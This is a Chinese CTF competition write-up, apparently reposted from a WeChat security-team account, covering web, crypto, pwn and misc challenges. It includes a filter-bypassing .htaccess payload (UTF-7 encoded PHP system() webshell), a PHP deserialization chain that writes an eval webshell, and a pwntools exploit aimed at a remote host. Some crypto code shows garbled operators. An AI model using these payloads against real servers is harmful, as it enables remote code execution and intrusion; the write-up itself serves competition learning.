第六届山东省大学生电子设计大赛——网络安全技能竞赛
Web
upload_100 –by M1mikatz
一个文件上传,只能上传 .htaccess:
并且对文件内容进行过滤。并且upload目录下面没有php文件,因此考虑将 .htaccess 解析为 php文件使用。
注意,题目似乎对上传文件的尺寸做了限制,需要在 .htaccess 开头定义好大小。别问为什么,试出来的。。。。。。
需要先在 .htaccess 里面设置允许访问 .htaccess 文件,否则是直接访问 .htaccess 文件是Forbidden的:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
然后再设置将 .htaccess 指定当做 PHP 文件处理并解析:
SetHandler application/x-httpd-php
# =system($_POST[whoami]);
最终 .htaccess 文件里面的内容为:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?=system($_POST[whoami]);?>
但是文件内容过滤了很多关键字,并且 <?=
也被过滤了,我们可以使用 UTF-7 编码绕过,即:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# +ADw?+AD0-system(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4
然后使用 “ 加换行绕过其他的关键字,最终的payload如下:
#define width 1337
#define height 1337
<Fi
les ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Fi
les>
SetHa
ndler applic
ation/x-h
ttpd-p
hp
ph
p_flag zend.multibyte 1
ph
p_val
ue zend.script_encoding "UTF-7"
# +ADw?+AD0-system(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4
然后我们直接访问 .htaccess 文件即可把 .htaccess 文件当做 PHP 文件处理并执行里面的 PHP 代码:
pop_200 –by M1mikatz
很简单一反序列化,php 5 的环境,直接用成员数绕过 __wakeup
,然后写webshell即可:
error_reporting(0);
class File_operations {
protected $filename='/var/www/html/shell.php';
}
class Show_index {
public $filepage;
}
class Exception_process {
public $arg;
}
class Transfer {
public $method;
private $parameter = "<?php eval($_POST[a]);";
}
$poc = new Show_index();
$poc->filepage = new Transfer();
$poc->filepage->method = new Transfer();
$poc->filepage->method->method = new File_operations();
echo urlencode(serialize($poc));
Crypto
签到
1. 使用html解码,发现base64编码
2. 使用base64解码解出一个字符串和一个key
3. 使用维吉尼亚解码
4. 再使用rot13解码解出flag
第二轮签到题
*1.使用base64解密解出第一次解码*
接着还是用base64第二次解码
再使用base64第三次解码出flag
Crypto (MT)
from Crypto.Util.number import *
flag = getPrime(32)
def init(flag):
s = [0] * 100
s[0] = flag
for i in range(1, 100):
s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] 30) + i)
return s
state = init(flag)
def enc(y):
y = y ^ y 11
y = y ^ y << 7 & 2636928640
y = y ^ y << 15 & 4022730752
y = y ^ y 18
return y&0xffffffff
c = enc(state[-1])
print(c)
#1047573452
观察题⽬给出的脚本,可以看到经过了复杂的与和异或运算,涉及到与运算如果要还原只能爆破,但
是过程如此复杂,显然不可能让我们在短时间内去判断bit之间的关系。观察到flag仅仅是32位的素
数,因此可以爆破。正序和逆序同时爆破,最多20分钟可以得出结果
# -*-coding:utf-8-*-
from Crypto.Util.number import *
import gmpy2
import tqdm
def init(flag):
s = [0] * 100
s[0] = flag9 for i in range(1, 100):
s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] 30) + i)
return s
def enc(y):
y = y ^ y 11
y = y ^ y << 7 & 2636928640
y = y ^ y << 15 & 4022730752
y = y ^ y 18
return y & 0xffffffff
range1=pow(2,31)
range2=pow(2,32)
#逆序
for i in tqdm.trange(range2,range1,-1):
#正序
#for i in tqdm.trange(range1,range2):
if gmpy2.is_prime(i):
sstate = init(i)
cc = enc(sstate[-1])
if cc == 1047573452:
print(i)
break
最后得到flag为:2412081811
PWN-签到
*题目提供了后门函数:*
*题目中含栈上任意地址偏移泄露4字节int值:*
*同时含栈上任意地址偏移写4字节int值:*
Exp:
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/4/arbitrary')
r = remote('60.216.78.58',45721)
def menu(choice):
r.recvuntil(b"??????. Shell!")
r.sendline(str(choice))
def read(off):
menu(1)
r.sendline(str(off))
def write(off,value):
menu(2)
r.sendline(str(off)+" "+str(value))
read(14)
r.recvuntil(b'Done! ')
codebase = int(r.recvuntil(b'n')[:-1])
read(15)
r.recvuntil(b'Done! ')
codebase2 = int(r.recvuntil(b'n')[:-1])
codebase = codebase2*0x100000000+codebase-0xb17
write(-0x2,(codebase+0xa46)&0xffffffff)
print(hex(codebase))
r.interactive()
Misc
hacker
147流发现压缩包
分离出来
这是一个蚁剑流量,然后我们解码
得到压缩包密码
0x0 师傅不加个群嘛
微信群后台回复获取进群链接
欢迎 点赞 + 在看并分享本公众号 给更多师傅们❤️
—————-往期精选—————–
靶场2:从外网到内网【文末抽奖送书咯】
黑客常用的工具之—MSF的使用
隐藏通信隧道技术
PHP反序列化逃逸[入门篇]
树莓派内网穿透总结
文件系统取证分析-卷的效验分析
简单聊一聊对微信小程序渗透测试的思路
信息收集之-你不知道的骚思路
练习内网渗透的时候的一个靶场练习
原文始发于微信公众号(Drt安全战队):第六届山东省大学生电子设计大赛——网络安全技能竞赛